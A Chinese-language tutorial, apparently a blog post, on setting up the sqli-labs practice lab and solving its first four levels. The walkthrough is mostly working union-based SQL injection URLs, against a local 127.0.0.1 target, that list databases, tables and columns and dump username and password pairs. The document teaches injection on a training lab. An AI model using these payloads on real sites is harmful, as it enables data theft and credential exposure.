目录
(一)搭建 sqli-labs 靶场
(二)一些基础知识
(三)sqli-labs的第一关至第四关笔记
(1)第一关
(2)第二关
(3)第三关
(4)第四关
sqli-labs 是一款基于 sql 注入的游戏教程,有利于更好地了解 sql 注入的语法。
搭建 sqli-labs 靶场前首先要下载 phpstudy
phpstudy下载链接:https://www.xp.cn
要保证安装路径中不能有空格和中文。
下载完成后:
可以对 root 数据库进行修改密码或创建数据库,然后在软件管理里面下载 php 5.6.9,因为sqli-labs不支持php7以上的版本,所以需要下载5.x版本
sqli-labs 项目的下载地址为:https://github.com/Audi-1/sqli-labs
有些朋友如果无法打开Github可以参考这篇文章:解决windows10访问github官网进不去的问题 - 空_白/ - 博客园 (cnblogs.com)
进入后点击
进行下载。
下载完成后,将之前下载的源码解压到web目录下,windows下的phpstuudy解压在www目录下。
接着修改sqli-labs里面的账号密码
右键 db-creds.inc 选择编辑模式 ,修改密码
这里的密码就是phpstudy 里面数据库的账号密码,如果没有改动就是root
启动主页面的 apache 和 mysql
如果都变绿了就代表成功了。
打开谷歌输入 http://127.0.0.1/sqli-labs-master/
点第一个创建数据库,注意如果你的php版本不是5.x会出错!!!
如果出现的页面如图所示就代表创建成功了。
这里推荐一个Google的插件hackbar,比较好用,当然直接在搜索栏改也可以的。
谷歌与火狐Hackbar插件下载与安装 - 菜鸟-传奇 - 博客园 (cnblogs.com)
好了,准备工作做好了可以开始第一关的练习了。
(1)如何进入 mysql 界面?
点击 mysql
在 MySQL 文件里进入 bin,打开 cmd命令行,调到当前页面输入 mysql -u root -p,然后回车
输入自己的密码回车,进入 mysql 命令行
所有mysql执行语句后面都要加";"
进入后可以先看数据库名称:show databases;
切换数据库:use security;
mysql里的元数据库:information_schema #用于存放mysql的所有数据
mysql里的元数据表:table 表:主要是记录 Mysql 当中的所库及所有表,表的字段 table_schema(用于记录库名)table_name(用于记录表名)
mysql简单基本用法:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema="security"
查列:select column_name from information_schema.columns where table_name="users"
查字段:select username,password from security.users
(新手:为了便于新手更加直观的看到 sql 注入的语句
编辑php文件:
在sql 语句下面加入两句:
echo $sql; # 将构造的 sql 语句进行输出
echo "
"; # 换行输出
这样在页面中会显示你的 sql 注入语句,十分清晰。以后每关都可以这样修改)
来到第一关:
输入不同的id值发现页面中回显的内容不同,说明存在注入漏洞,再判断漏洞类型:
http://127.0.0.1/sqli-labs-master/Less-1/?id=2'
发现下面一行报错信息中判断为数字型注入,再输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=2'--+
是因为“--+”这个符号代表注释的意思,表示将“--+”后面的语句注释掉了,不再执行。
再来判断字段数:
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 1--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 2--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 3--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' order by 4--+
依次执行,发现到4的时候报错
说明字段数为3,即有3列。
可以在 mysql 命令行中看一下:
对比上面两张图可以发现,按第一列排和按第二列排有明显的区别
所以可以看出有3列。
之后使用联合查询:
http://127.0.0.1/sqli-labs-master/Less-1/?id=2' union select 1,2,3--+
发现页面数据没有变化,应该将前面的id值改为一个不存在的值,比如-1
从返回的结果看到这两个有回显,可以利用。
查库:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata--+
这里选择的回显位置是3,所以把3替换掉了,2也可以作为回显位置。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1--+
在后面加上limit之后输出不同的库名,比如
limit 0,1--+ mysql
limit 1,1--+ information_schema
limit 2,1--+ performance_schema
等等。
但是这种方法太慢了,可以使用一个函数 group_concat() 快速获取
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
我们要取 security 库中的表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+
where 语句对其进行限定,这里不建议使用“security”,因为会引入引号等问题,推荐使用16进制
16进制前面要加上0x,后面的security可以在hackbar中
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
最后执行结果相同。
接下来取users表里面的数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
爆数据
这里推荐另一个函数,concat_ws("",A,B),最后的输出形式为 A~B,有利于用户名和密码对应。
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users--+
结合一下两个函数可以很清晰的看到结果。
同样,这里也推荐将“~”改为16进制:0x7e
到此为止,第一关通过。
建议将第一关弄懂后再看下面两关,会非常简单
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’
可以看出是数字型注入。因为没有引号,所以后面不需要“--+”来注释
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4
同样为3列。
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users
http://127.0.0.1/sqli-labs-master/Less-3/?id=1
http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+
将后面的“)”注释后,就可以执行中间的语句了。
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4--+
后面的和之前一个套路